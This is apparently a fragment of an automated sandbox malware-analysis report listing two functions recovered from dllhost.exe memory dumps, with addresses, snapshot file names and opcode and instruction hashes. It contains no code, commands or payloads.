                                                                                                                                        Function 00007FFD9C077E81 Relevance: .0, Instructions: 1COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: e2cc0c0d99009c7435588f55620283a553e0cf896f54c4d0e0bbbfb0e439dea2
                                                                                                                                        • Instruction ID: 7dc37acb863ca7f9bddad736950d9e0b0412330fb851fab0b9dc39ee77805b5b
                                                                                                                                        • Opcode Fuzzy Hash: e2cc0c0d99009c7435588f55620283a553e0cf896f54c4d0e0bbbfb0e439dea2
                                                                                                                                        • Instruction Fuzzy Hash:

                                                                                                                                        Non-executed Functions

                                                                                                                                        Function 00007FFD9B9809B0 Relevance: 5.2, Strings: 4, Instructions: 185COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: c9$!k9$"s9$#{9
                                                                                                                                        • API String ID: 0-1692736845
                                                                                                                                        • Opcode ID: 1a4ea0eeee7104ebefac87dcd7d9e55ffb611644b82f939494508bbcbd62bbfc
                                                                                                                                        • Instruction ID: 43b5a66ae96bf3f1481b273627a26c77a932c07258ce3088db462bcbc9f82262
                                                                                                                                        • Opcode Fuzzy Hash: 1a4ea0eeee7104ebefac87dcd7d9e55ffb611644b82f939494508bbcbd62bbfc
                                                                                                                                        • Instruction Fuzzy Hash: 2E51FB07B1983795E21933FD702ADED6B408F80238B0846B3E17F890D76D0A248A93E5